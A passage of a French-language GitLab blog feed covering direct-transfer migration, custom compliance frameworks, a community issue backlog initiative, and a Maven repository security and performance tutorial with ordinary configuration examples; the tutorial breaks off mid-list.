<li>Elle fonctionne de manière fiable avec des projets volumineux. Grâce au traitement par lots des ressources et à l'exécution simultanée des processus d'importation et d'exportation, les risques d'interruption ou de délai d'attente dépassé sont considérablement réduits.</li>
<li>Elle offre une meilleure visibilité sur la migration pendant son exécution ainsi qu'après sa finalisation. Dans l'interface utilisateur, vous pouvez observer l'augmentation des nombres à mesure que de nouveaux éléments sont importés. Ensuite, vous pouvez <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#review-results-of-the-import">examiner les résultats de l'importation</a>. Vous pouvez voir qu'un élément a été importé grâce au badge <code>Imported</code> sur les éléments dans l'interface utilisateur GitLab.</li>
</ul>
<p>Nous avons parcouru un long chemin depuis GitLab 14.3, lorsque nous avons commencé à prendre en charge la migration directe des ressources de groupe. Dans GitLab 15.8, nous avons <a href="https://about.gitlab.com/blog/2023/01/18/try-out-new-way-to-migrate-projects/">étendu cette fonctionnalité aux projets en version bêta</a>. Depuis, nous avons travaillé à améliorer l'efficacité et la fiabilité de l'importation, en particulier pour les projets volumineux. Nous avons minutieusement examiné la fonctionnalité du point de vue de la sécurité et de la stabilité des instances.</p>
<p>Pour vous donner un exemple de la taille des groupes et des projets que nous avons testés, ainsi que de leur durée d'importation, nous avons constaté des importations réussies de :</p>
<ul>
<li>100 projets (19 900 tickets, 83 000 merge requests, plus de 100 000 pipelines) migrés en 8 heures</li>
<li>1 926 projets (22 000 tickets, 160 000 merge requests, 1,1 million de pipelines) migrés en 34 heures</li>
</ul>
<p>Sur GitLab.com, la migration par transfert direct est activée par défaut, tandis que sur GitLab Self-Managed et sur GitLab Dedicated, un administrateur doit <a href="https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#enable-migration-of-groups-and-projects-by-direct-transfer">activer la fonctionnalité dans les paramètres de l'application</a>.</p>
<h2>Quand utiliser la migration par transfert direct et comment obtenir les meilleurs résultats ?</h2>
<p>La migration par transfert direct nécessite une connexion réseau entre les instances ou GitLab.com. Par conséquent, les clients qui utilisent des réseaux air-gapped sans connectivité entre leurs instances GitLab doivent toujours utiliser l'exportation de fichiers pour copier leurs données GitLab. Ils pourront utiliser la migration de groupes et de projets par transfert direct lorsque nous étendrons cette solution pour <a href="https://gitlab.com/groups/gitlab-org/-/epics/8985">prendre en charge les instances hors ligne</a>.</p>
<p>Avant de tenter une migration, consultez notre <a href="https://docs.gitlab.com/user/group/import/">documentation</a>, y compris les <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#prerequisites">prérequis</a>, les <a href="https://docs.gitlab.com/ee/user/group/import/#migrated-group-items">éléments de groupe</a> et les <a href="https://docs.gitlab.com/ee/user/group/import/#migrated-project-items">éléments de projet</a> qui sont migrés. Certains éléments sont exclus de la migration ou ne sont pas encore pris en charge.</p>
<h3>Migrez entre les versions les plus récentes possibles</h3>
<p>Nous recommandons de migrer entre des versions aussi récentes que possible. Mettez à jour les instances source et destination pour profiter de toutes les améliorations et corrections de bogues que nous avons ajoutées au fil du temps.</p>
<h3>Préparez-vous au mappage des contributions utilisateur après la migration</h3>
<p>Familiarisez-vous avec le <a href="https://docs.gitlab.com/user/project/import/#user-contribution-and-membership-mapping">processus de mappage des contributions et des appartenances utilisateur</a> afin de savoir à quoi vous attendre une fois la migration terminée et quelles sont les prochaines étapes à suivre.</p>
<h3>Examinez les options pour réduire la durée de migration</h3>
<p>Selon l'endroit où vous migrez (GitLab.com, une instance auto-gérée ou Dedicated) vous pouvez utiliser <a href="https://docs.gitlab.com/ee/user/group/import/#reducing-migration-duration">diverses stratégies pour réduire la durée de migration</a>.</p>
<h2>Comment puis-je examiner les résultats ?</h2>
<p>Vous pouvez consulter tous les groupes et projets que vous avez migrés par transfert direct sur la <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#group-import-history">page d'historique d'importation de groupe</a>. Pour chaque groupe et projet, vous pouvez consulter les statistiques des éléments importés et examiner plus en détails si certains éléments n'ont pas été importés. Vous pouvez également utiliser les <a href="https://docs.gitlab.com/ee/api/bulk_imports.html#list-all-group-or-project-migrations-entities">points de terminaison API</a> pour faire de même.</p>
<p>Dans les cas où la plupart de vos projets se sont terminés avec succès mais qu'un ou deux finissent par manquer certaines relations, comme des merge requests ou des tickets, nous vous recommandons d'essayer de réimporter ces projets <a href="https://docs.gitlab.com/ee/api/bulk_imports.html#start-a-new-group-or-project-migration">en utilisant l'API</a>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753961409/ja8agmwarwxxlo9vmqbo.gif" alt=""></p>
<h2>Quelle est la prochaine étape pour la migration par transfert direct ?</h2>
<p>Nous sommes ravis de rendre la migration par transfert direct disponible et nous espérons que vous l'êtes aussi ! Nous souhaitons connaître votre avis. Quel est l'élément qui vous manque le plus ? Que pouvons-nous améliorer ? Faites-le nous savoir dans <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/284495">ce ticket</a> et nous continuerons à itérer !</p>
]]></content>
        <author>
            <name>Magdalena Frankiewicz</name>
            <uri>https://about.gitlab.com/blog/authors/magdalena-frankiewicz</uri>
        </author>
        <published>2025-08-04T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Présentation des frameworks de conformité personnalisés dans GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab/"/>
        <updated>2025-07-31T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Maintenir plusieurs frameworks de conformité dans des pipelines DevSecOps en constante évolution n’a jamais été aussi difficile. À mesure que les normes évoluent et deviennent plus complexes, les entreprises croulent sous des exigences qui se chevauchent et des processus manuels, impactant ainsi le temps des développeurs et ralentissant les audits.</p>
<p>Pour résoudre ce problème, GitLab lance les frameworks de conformité personnalisés et 50 contrôles préconfigurés pour une large gamme de normes de conformité, notamment <a href="https://about.gitlab.com/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey/" title="ISO 27001">ISO 27001</a>, le <a href="https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/">benchmark CIS</a> et <a href="https://about.gitlab.com/fr-fr/the-source/security/how-gitlab-can-help-you-prepare-for-your-soc-2-exam/" title="SOC 2">SOC 2</a>.</p>
<p>Les frameworks de conformité personnalisés permettent aux entreprises de mapper plusieurs contrôles qui se chevauchent, issus de différentes normes et réglementations, en un framework unique et unifié. Cette flexibilité apporte une efficacité indispensable, permettant aux entreprises d'adapter leurs programmes de conformité en fonction de leurs besoins. Comme ces politiques sont intégrées directement dans les <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce qu'un pipeline CI/CD ?">pipelines CI/CD</a> de GitLab, la conformité est appliquée automatiquement, sans perturber le développement.</p>
<p>De plus, avec les contrôles préconfigurés, les équipes peuvent accélérer l'adoption de la conformité, éliminant le besoin d'outils externes ou de configurations personnalisées complexes. En intégrant la conformité directement dans le cycle de développement logiciel, GitLab offre une visibilité en temps réel, une application automatisée et une préparation aux audits simplifiée pour que les équipes puissent livrer des logiciels sécurisés et conformes, plus rapidement.</p>
<p>Les frameworks de conformité personnalisés et les contrôles préconfigurés sont disponibles dès maintenant dans <a href="https://about.gitlab.com/fr-fr/pricing/ultimate/" title="GitLab Ultimate">GitLab Ultimate</a>.</p>
<h2>Une pression croissante en matière de conformité</h2>
<p>Les entreprises doivent naviguer entre différents frameworks de conformité pour garantir le respect de nombreuses réglementations et fournir une assurance à leurs clients. Bien que ces frameworks partagent souvent des contrôles communs, ces derniers sont rarement alignés. Le résultat est une réalité que les équipes de conformité ne connaissent que trop bien : un suivi manuel via des feuilles de calcul qui génère le chaos, en particulier lors des examens d'audit.</p>
<p>Les équipes de développement sont entraînées dans le tourbillon de la conformité car le développement de logiciels modernes est au cœur de la satisfaction de bon nombre de ces contrôles. Au lieu de créer et de livrer des logiciels sécurisés, ils se retrouvent à soutenir la collecte de preuves et les revues de conformité. Une étude « Total Economic Impact™ » sur GitLab Ultimate et menée par Forrester a révélé qu'avant GitLab, <a href="https://tei.forrester.com/go/GitLab/GitLabUltimate/?lang=en-us#Appendixes">les équipes de développement consacraient jusqu'à 80 heures par an de leur temps sur des tâches d'audit et de conformité</a>, du temps détourné de l'écriture de code et de la création de valeur commerciale.</p>
<p>En plus d'être inefficace, cette approche fragmentée est également coûteuse. Les <a href="https://www.cato.org/sites/cato.org/files/2024-01/research-brief367.pdf">coûts liés à la conformité ont augmenté de 60 % au cours des cinq dernières années</a>, selon le CATO Institute. Sans un système qui connecte l'application de la conformité à l'endroit où les logiciels sont créés, la conformité restera une réflexion après coup contraignante qui creuse un fossé entre les équipes de développement et de sécurité.</p>
<h2>Pourquoi les frameworks de conformité personnalisés sont-ils importants ?</h2>
<p>Nos clients nous ont demandé une plus grande flexibilité en matière de suivi et d’application de la conformité dans les workflows DevSecOps. Avec cette version, nous sommes heureux de donner à nos clients les moyens suivants :</p>
<h3>Une conformité qui s'adapte à l'entreprise, et non l'inverse</h3>
<p>Les exigences réglementaires se chevauchent entre plusieurs frameworks, ce qui entraîne une complexité dans le suivi et l'application. Les frameworks de conformité personnalisés permettent aux entreprises de créer un framework unifié qui associe les exigences et les contrôles de plusieurs normes, réduisant l'effort manuel et la dépendance à des consultants souvent coûteux.</p>
<h3>Une conformité plus rapide, de la configuration jusqu'aux audits</h3>
<p>Commencez à surveiller la conformité instantanément avec des contrôles préconfigurés alignés sur les normes de conformité clés, telles que SOC 2, ISO 27001 et les benchmarks CIS. La surveillance automatisée de la conformité et la collecte de preuves réduisent la préparation des audits de plusieurs semaines à quelques jours, permettant aux équipes de développement de rester concentrées sur la livraison de logiciels sécurisés.</p>
<h3>Une conformité intégrée à la vitesse du développement</h3>
<p>Contrairement aux outils GRC traditionnels qui fonctionnent de manière isolée, GitLab applique la conformité directement dans les pipelines CI/CD. Cette intégration signifie que la validation de la conformité se produit automatiquement lorsque le code progresse dans le pipeline, éliminant la friction traditionnelle entre la rapidité de développement et les exigences de sécurité.</p>
<p>Voici un exemple de création d’un framework de conformité personnalisé dans GitLab :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099291312.png" alt="custom compliance frameworks - edit requirement screen"></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099291312.png" alt="custom compliance frameworks - screen showing requirements"></p>
<h2>Ce qu'il faut savoir sur le déploiement des frameworks de conformité personnalisés</h2>
<p>Cette version comporte deux aspects critiques :</p>
<ul>
<li>À partir de GitLab 18.0, les frameworks de conformité personnalisés seront activés par défaut.</li>
<li>Depuis GitLab 18.0, nous avons activé les frameworks de conformité personnalisés par défaut. Nous avons également supprimé les « Normes » du Centre de conformité pour simplifier l'expérience. Mais ne vous inquiétez pas, vos contrôles de conformité existants s'appliquent toujours. Nous avons converti les normes GitLab Standard et SOC 2 en labels de framework de conformité et transformé leurs vérifications de conformité en contrôles (notre nouveau terme à l'avenir).</li>
<li>Seuls les clients GitLab Ultimate peuvent définir des exigences, mapper des contrôles et appliquer des frameworks de conformité. Les utilisateurs de GitLab Premium peuvent toujours utiliser des labels de conformité, mais ils n'auront pas accès à l'ensemble des fonctionnalités.</li>
</ul>
<p>Pour en savoir plus sur les frameworks de conformité personnalisés, découvrez cette vidéo d'introduction :</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/yfJ0oHCIn-8?si=z_Rt_ikry4RhjEAC&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;</p>
<p>&lt;!-- blank line --&gt;</p>
<h2>Déplacez la conformité en amont avec GitLab</h2>
<p>Similaire à la sécurité, déplacer la conformité en amont signifie aborder les exigences de conformité plus tôt dans le cycle de vie du développement logiciel. Étant donné que les logiciels sont essentiels à la conformité d'une entreprise, l'intégration de contrôles là où les logiciels sont créés est cruciale. Avec GitLab, les équipes de sécurité et de conformité peuvent définir des frameworks, mapper des contrôles et automatiser l'application directement dans les pipelines CI/CD. Les équipes de développement restent concentrées sur la livraison de fonctionnalités, tandis que les équipes de conformité bénéficient d'une visibilité en temps réel et d'une collecte automatisée de preuves pour être prêtes pour l'audit. Cette approche unifiée comble le fossé entre le développement et la conformité, aidant les entreprises à atteindre une conformité continue dans le cadre de leur pratique DevSecOps.</p>
<p>En conséquence, les entreprises utilisant GitLab peuvent réduire de 90 % le temps passé par les équipes de développement sur les tâches d'audit et de conformité, et accélérer les audits externes de plusieurs semaines à moins d'une semaine, selon Forrester.</p>
<p>Si vous êtes déjà un client GitLab Ultimate et que vous souhaitez en savoir plus sur la façon dont les frameworks de conformité personnalisés peuvent contribuer à améliorer votre programme de conformité et de sécurité, consultez notre documentation du <a href="https://docs.gitlab.com/user/compliance/compliance_center/">Centre de conformité</a> où nous couvrons les exigences de mise en œuvre, les cas d'utilisation et plus encore.</p>
<p>Note : « Total Economic Impact™ » sur GitLab Ultimate est une étude réalisée par Forrester Consulting en 2024 pour le compte de GitLab. Les résultats sont basés sur une organisation composite représentative des clients interrogés.</p>
]]></content>
        <author>
            <name>Ian Khor</name>
            <uri>https://about.gitlab.com/blog/authors/ian-khor</uri>
        </author>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-07-31T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Amélioration de la gestion des tickets créés par la communauté GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/inside-gitlabs-healthy-backlog-initiative/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/inside-gitlabs-healthy-backlog-initiative/"/>
        <updated>2025-07-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Chez GitLab, nous sommes fiers de la relation solide et collaborative que nous entretenons avec notre communauté. Nous encourageons chacun à contribuer à GitLab. Au fil des années, ces contributions communautaires ont permis de renforcer notre plateforme. Mais au fur et à mesure de notre croissance, la participation de la communauté via les tickets GitLab a également augmenté, créant un backlog de tickets difficile à gérer.</p>
<p>Les équipes chargées du produit et de l'ingénierie de GitLab ont récemment lancé <a href="https://gitlab.com/groups/gitlab-org/-/epics/18639">une initiative pour traiter ce backlog et affiner notre approche de la gestion des tickets</a>.</p>
<p>Les tickets avec un engagement communautaire continu, une activité récente ou un alignement stratégique clair resteront ouverts. Nous fermerons les tickets qui ne sont plus pertinents, qui manquent d'intérêt ou qui ne correspondent plus à notre direction produit.</p>
<p>Cette approche ciblée conduira à une innovation accrue, à une meilleure définition des attentes et à des cycles de développement et de livraison plus rapides pour les fonctionnalités proposées par la communauté.</p>
<h2>Présentation de l'initiative</h2>
<p>Au fil du temps, la communauté GitLab a soumis des dizaines de milliers de tickets, incluant des bogues, des demandes de fonctionnalités et des retours. Actuellement, <a href="https://gitlab.com/gitlab-org/gitlab/-/issues">notre système principal de suivi des tickets</a> contient plus de 65 000 tickets. Certains ne sont plus applicables à la plateforme, tandis que d'autres restent toujours pertinents.</p>
<p>Avec cette initiative, nos équipes chargées du produit et de l'ingénierie pourront réduire le backlog et établir un workflow afin de mettre en œuvre une approche plus ciblée de la gestion du backlog. Elles effectueront des évaluations hebdomadaires du backlog pour s'assurer que nous priorisons les tickets qui s'alignent avec notre stratégie produit et notre roadmap.</p>
<p>Remarque : Si vous pensez qu’un ticket fermé s'aligne avec la stratégie produit et la roadmap de GitLab, ou si vous contribuez activement à cette demande, nous vous encourageons à commenter le ticket. Nous nous engageons à examiner ces tickets mis à jour dans le cadre de nos efforts d'évaluation réguliers.</p>
<h2>Quels sont les avantages ?</h2>
<p>Cette approche rationalisée apporte des améliorations directes et concrètes pour chaque utilisateur de GitLab :</p>
<ul>
<li><strong>Un focus plus précis et une livraison plus rapide :</strong> en recentrant notre backlog sur des fonctionnalités stratégiquement alignées, nous pouvons allouer nos ressources de développement plus efficacement. Cela signifie que vous pouvez vous attendre à des cycles de développement plus courts et à des améliorations plus significatives de votre expérience GitLab.</li>
<li><strong>Des attentes plus claires :</strong> nous nous engageons à communiquer de manière transparente sur ce qui figure ou non dans notre roadmap, afin que vous puissiez prendre des décisions éclairées concernant vos workflows et vos contributions.</li>
<li><strong>Des boucles de rétroaction accélérées :</strong> avec un backlog épuré, les nouveaux retours et demandes de fonctionnalités seront examinés et priorisés plus efficacement, réduisant le temps global de triage et garantissant que les tickets urgents reçoivent l'attention nécessaire. Cela crée une boucle de rétroaction plus réactive pour tous.</li>
</ul>
<p>Cette initiative ne diminue pas l'importance des retours et des contributions de la communauté. Nous prenons cette mesure pour clarifier ce que les membres de l'équipe GitLab peuvent réellement s'engager à livrer, et pour garantir que tous les retours reçoivent la considération appropriée.</p>
<h2>Perspectives d'avenir</h2>
<p>Cette initiative reflète notre engagement à être des gestionnaires transparents et efficaces de la plateforme GitLab. En communiquant clairement nos priorités et en concentrant nos efforts sur ce que nous pouvons réellement livrer au cours de l'année à venir, nous sommes mieux positionnés pour répondre et dépasser vos attentes.</p>
<p>Votre participation et vos retours continus contribuent à renforcer GitLab. Chaque commentaire, merge request, rapport de bogue et suggestion de fonctionnalité contribue à notre vision commune. Et nous continuons à vous récompenser pour cela, avec des initiatives comme notre programme mensuel Notable Contributor, des récompenses, et plus encore, via notre <a href="https://contributors.gitlab.com/">portail dédié aux contributeurs</a>.</p>
<p>Pour en savoir plus sur comment contribuer à GitLab, consultez notre <a href="https://about.gitlab.com/community/">page Communauté</a>. Pour partager vos retours sur cette initiative, veuillez ajouter vos commentaires sur <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/556865">ce ticket</a>.</p>
]]></content>
        <author>
            <name>Stan Hu</name>
            <uri>https://about.gitlab.com/blog/authors/stan-hu</uri>
        </author>
        <published>2025-07-30T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Comment sécuriser et optimiser votre dépôt Maven dans GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab/"/>
        <updated>2025-07-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>En tant que Product Manager chez GitLab, j'ai le plaisir de vous présenter nos solutions pour sécuriser et optimiser votre dépôt Maven. GitLab s'engage à offrir une plateforme DevSecOps complète, où la gestion des packages et la sécurisation des dépôts Maven jouent un rôle clé. Découvrez dans ce tutoriel les bonnes pratiques, les techniques avancées et les fonctionnalités à venir qui vont transformer votre workflow Maven.</p>
<h2>Sécurisation de votre dépôt Maven : une approche globale</h2>
<p>La sécurisation de votre chaîne d'approvisionnement logicielle est une priorité absolue. Voici les stratégies essentielles pour renforcer la sécurité de vos paquets Maven dans GitLab.</p>
<h3>Mettre en œuvre un système d'authentification forte</h3>
<p><strong>Jetons d'accès personnels (PAT) :</strong> privilégiez les PAT pour un contrôle d'accès affiné.</p>
<p>Par exemple :</p>
<pre><code class="language-bash">mvn deploy -s settings.xml
</code></pre>
<p>Avec la configuration suivante dans <code>settings.xml</code> :</p>
<pre><code class="language-xml">&lt;settings&gt;
  &lt;servers&gt;
    &lt;server&gt;
      &lt;id&gt;gitlab-maven&lt;/id&gt;
      &lt;configuration&gt;
        &lt;httpHeaders&gt;
          &lt;property&gt;
            &lt;name&gt;Private-Token&lt;/name&gt;
            &lt;value&gt;${env.GITLAB_PERSONAL_TOKEN}&lt;/value&gt;
          &lt;/property&gt;
        &lt;/httpHeaders&gt;
      &lt;/configuration&gt;
    &lt;/server&gt;
  &lt;/servers&gt;
&lt;/settings&gt;
</code></pre>
<p><strong>Tokens de déploiement :</strong> adaptés pour les pipelines CI/CD. Générez-les dans les paramètres de votre projet GitLab et intégrez-les dans votre fichier <code>.gitlab-ci.yml</code>.</p>
<pre><code class="language-yaml">deploy:
  script:
    - 'mvn deploy -s ci_settings.xml'
  variables:
    MAVEN_CLI_OPTS: &quot;-s ci_settings.xml --batch-mode&quot;
    MAVEN_OPTS: &quot;-Dmaven.repo.local=.m2/repository&quot;
  only:
    - main
</code></pre>
<p>Voici le fichier <code>ci_settings.xml</code> correspondant :</p>
<pre><code class="language-xml">&lt;settings xmlns=&quot;http://maven.apache.org/SETTINGS/1.1.0&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
  xsi:schemaLocation=&quot;http://maven.apache.org/SETTINGS/1.1.0 http://maven.apache.org/xsd/settings-1.1.0.xsd&quot;&gt;
  &lt;servers&gt;
    &lt;server&gt;
      &lt;id&gt;gitlab-maven&lt;/id&gt;
      &lt;configuration&gt;
        &lt;httpHeaders&gt;
          &lt;property&gt;
            &lt;name&gt;Deploy-Token&lt;/name&gt;
            &lt;value&gt;${env.CI_DEPLOY_PASSWORD}&lt;/value&gt;
          &lt;/property&gt;
        &lt;/httpHeaders&gt;
      &lt;/configuration&gt;
    &lt;/server&gt;
  &lt;/servers&gt;
&lt;/settings&gt;
</code></pre>
<p>Remarques :</p>
<ul>
<li>La variable <code>CI_DEPLOY_PASSWORD</code> doit être configurée comme une variable CI/CD dans les paramètres de votre projet GitLab et contenir le token de déploiement.</li>
<li>L'élément <code>&lt;id&gt;</code> doit correspondre à l'ID du dépôt tel qu'il est défini dans le fichier <code>pom.xml</code> de votre projet.</li>
</ul>
<p><strong>Rotation des tokens :</strong> automatisez la stratégie de rotation des tokens à l'aide de l'API GitLab. Par exemple, vous pouvez planifier un pipeline mensuel qui regénère et met à jour vos tokens :</p>
<pre><code class="language-yaml">rotate_tokens:
  script:
    - curl --request POST &quot;https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/deploy_tokens&quot; --header &quot;PRIVATE-TOKEN: ${ADMIN_TOKEN}&quot; --form &quot;name=maven-deploy-${CI_PIPELINE_ID}&quot; --form &quot;scopes[]=read_registry&quot; --form &quot;scopes[]=write_registry&quot;
  only:
    - schedules
</code></pre>
<h3>Tirer parti des fonctionnalités de sécurité intégrées de GitLab</h3>
<p><strong>Analyse des dépendances :</strong> activez-la dans votre fichier <code>.gitlab-ci.yml</code>.</p>
<pre><code class="language-yaml">include:
  - template: Security/Dependency-Scanning.gitlab-ci.yml

variables:
  DS_JAVA_VERSION: 11
</code></pre>
<p><strong>Analyse des conteneurs :</strong> si vous conteneurisez vos applications Maven.</p>
<pre><code class="language-yaml">include:
  - template: Security/Container-Scanning.gitlab-ci.yml

variables:
  CS_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
</code></pre>
<p><strong>Conformité des licences :</strong> assurez-vous que toutes les dépendances respectent les licences autorisées dans votre projet.</p>
<pre><code class="language-yaml">include:
  - template: Security/License-Scanning.gitlab-ci.yml
</code></pre>
<h3>Sécuriser votre pipeline CI/CD</h3>
<ul>
<li>
<p><strong>Variables CI/CD :</strong> stockez toutes les informations contenant des données sensibles en toute sécurité.</p>
<pre><code class="language-yaml">variables:
  MAVEN_REPO_USER: ${CI_DEPLOY_USER}
  MAVEN_REPO_PASS: ${CI_DEPLOY_PASSWORD}
</code></pre>
</li>
<li>
<p><strong>Variables masquées :</strong> empêchez leur affichage dans les job logs et définissez-les dans vos paramètres GitLab CI/CD.</p>
</li>
<li>
<p><strong>Branches et tags protégés :</strong> configurez-les dans les paramètres de votre projet GitLab pour restreindre les droits de publication des packages Maven aux utilisateurs autorisés.</p>
</li>
</ul>
<h3>Mettre en œuvre la signature de vos paquets</h3>
<ul>
<li>
<p>Utilisez le plug-in Maven GPG pour signer vos artefacts.</p>
<pre><code class="language-xml">&lt;plugin&gt;
  &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
  &lt;artifactId&gt;maven-gpg-plugin&lt;/artifactId&gt;
  &lt;version&gt;1.6&lt;/version&gt;
  &lt;executions&gt;
    &lt;execution&gt;
      &lt;id&gt;sign-artifacts&lt;/id&gt;
      &lt;phase&gt;verify&lt;/phase&gt;
      &lt;goals&gt;
        &lt;goal&gt;sign&lt;/goal&gt;
      &lt;/goals&gt;
    &lt;/execution&gt;
  &lt;/executions&gt;
&lt;/plugin&gt;
</code></pre>
</li>
<li>
<p>Stockez votre clé GPG dans des variables GitLab CI/CD sécurisées.</p>
</li>
</ul>
<h3>Contrôler les accès au registre de paquets</h3>
<ul>
<li>Configurez les paramètres du registre de paquets au niveau du projet et du groupe dans GitLab afin de restreindre les accès aux seuls utilisateurs autorisés.</li>
<li>Activez les listes d'autorisation d'IP au niveau du réseau dans les paramètres de votre instance GitLab pour restreindre l'accès réseau aux adresses approuvées.</li>
</ul>
<h2>Optimisation des performances : fluidifiez votre workflow Maven</h2>
<p>La gestion de projets complexes ou de nombreuses dépendances exige une productivité maximale. Découvrez ci-dessous des techniques avancées pour tirer le meilleur parti de vos paquets Maven dans GitLab et accélérer vos compilations.</p>
<h3>Maîtriser la gestion des dépendances</h3>
<ul>
<li>
<p>Centralisez vos versions dans la section <code>&lt;dependencyManagement&gt;</code> de votre fichier POM parent.</p>
<pre><code class="language-xml">&lt;dependencyManagement&gt;
  &lt;dependencies&gt;
    &lt;dependency&gt;
      &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;
      &lt;artifactId&gt;spring-boot-dependencies&lt;/artifactId&gt;
      &lt;version&gt;${spring-boot.version}&lt;/version&gt;
      &lt;type&gt;pom&lt;/type&gt;
      &lt;scope&gt;import&lt;/scope&gt;
    &lt;/dependency&gt;
  &lt;/dependencies&gt;
&lt;/dependencyManagement&gt;
</code></pre>
</li>
</ul>
<h3>Tirer parti des projets multi-modules</h3>
<ul>
<li>
<p>Structurez votre projet avec un POM parent et plusieurs modules enfants :</p>
<pre><code>my-project/
├── pom.xml
├── module1/
│   └── pom.xml
├── module2/
│   └── pom.xml
└── module3/
    └── pom.xml
</code></pre>
</li>
<li>
<p>Utilisez le réacteur Maven pour compiler les modules dans un ordre optimal :</p>
<pre><code class="language-bash">mvn clean install
</code></pre>
</li>
</ul>
<h3>Mettre en œuvre les compilations parallèles</h3>
<ul>
<li>
<p>Utilisez la fonctionnalité de compilation parallèle de Maven :</p>
<pre><code class="language-bash">mvn -T 4C clean install
</code></pre>
</li>
</ul>
<h3>Optimiser votre pipeline CI/CD</h3>
<ul>
<li>
<p>Configurez la mise en cache dans <code>.gitlab-ci.yml</code> pour accélérer les compilations :</p>
<pre><code class="language-yaml">cache:
  paths:
    - .m2/repository

build:
  script:
    - mvn clean package -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository
</code></pre>
</li>
<li>
<p>Implémentez des compilations incrémentielles :</p>
<pre><code class="language-yaml">build:
  script:
    - mvn clean install -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository -am -amd -fae
</code></pre>
</li>
</ul>
<h3>Utiliser la mise en cache des compilations</h3>
<ul>
<li>
<p>Intégrez l'extension Gradle Enterprise de Maven pour une gestion avancée de la mise en cache des compilations :</p>
<pre><code class="language-xml">&lt;build&gt;
  &lt;plugins&gt;
    &lt;plugin&gt;
      &lt;groupId&gt;com.gradle&lt;/groupId&gt;
      &lt;artifactId&gt;gradle-enterprise-maven-plugin&lt;/artifactId&gt;
      &lt;version&gt;1.9&lt;/version&gt;
      &lt;configuration&gt;
        &lt;gradleEnterprise&gt;
          &lt;server&gt;https://ge.example.com&lt;/server&gt;
          &lt;allowUntrusted&gt;false&lt;/allowUntrusted&gt;
        &lt;/gradleEnterprise&gt;
      &lt;/configuration&gt;
    &lt;/plugin&gt;
  &lt;/plugins&gt;
&lt;/build&gt;
</code></pre>
</li>
</ul>
<h2>Présentation du programme bêta du registre virtuel Maven</h2>
<p>Nous avons le plaisir d'annoncer le lancement du programme bêta de notre nouvelle fonctionnalité : le registre virtuel Maven. Cet ajout à l'écosystème GitLab transformera la gestion des dépôts Maven au sein de vos projets.</p>
<h3>Fonctionnalités phares du registre virtuel Maven</h3>
<ol>
<li><strong>Agrégation de dépôts :</strong> combinez plusieurs dépôts Maven (internes et externes) en un seul dépôt virtuel.</li>
<li><strong>Proxy intelligent et mise en cache :</strong> accélérez les compilations grâce à la mise en cache des artefacts et au routage intelligent des requêtes.</li>
<li><strong>Contrôle d'accès centralisé :</strong> améliorez la sécurité en gérant l'accès à tous vos dépôts Maven depuis un seul et même endroit.</li>
</ol>
<h3>Utilisation du registre virtuel Maven</h3>
<ol>
<li><strong>Configuration :</strong> configurez l'authentification Maven dans votre fichier <code>settings.xml</code> :</li>
</ol>
<pre><code>&lt;settings&gt;
  &lt;servers&gt;
    &lt;server&gt;
      &lt;id&gt;gitlab-maven&lt;/id&gt;
      &lt;configuration&gt;
        &lt;httpHeaders&gt;
          &lt;property&gt;
            &lt;name&gt;Private-Token&lt;/name&gt;
            &lt;value&gt;${env.GITLAB_TOKEN}&lt;/value&gt;
          &lt;/property&gt;
        &lt;/httpHeaders&gt;
      &lt;/configuration&gt;
    &lt;/server&gt;
  &lt;/servers&gt;
&lt;/settings&gt;
</code></pre>
<p>Options d'authentification :</p>
<ul>
<li>
<p>Jeton d'accès personnel : utilisez <code>Private-Token</code> comme nom et <code>${env.GITLAB_TOKEN}</code> comme valeur.</p>
</li>
<li>
<p>Token de déploiement de groupe : utilisez <code>Deploy-Token</code> comme nom et <code>${env.GITLAB_DEPLOY_TOKEN}</code> comme valeur.</p>
</li>
<li>
<p>Token d'accès de groupe : utilisez <code>Private-Token</code> comme nom et <code>${env.GITLAB_ACCESS_TOKEN}</code> comme valeur.</p>
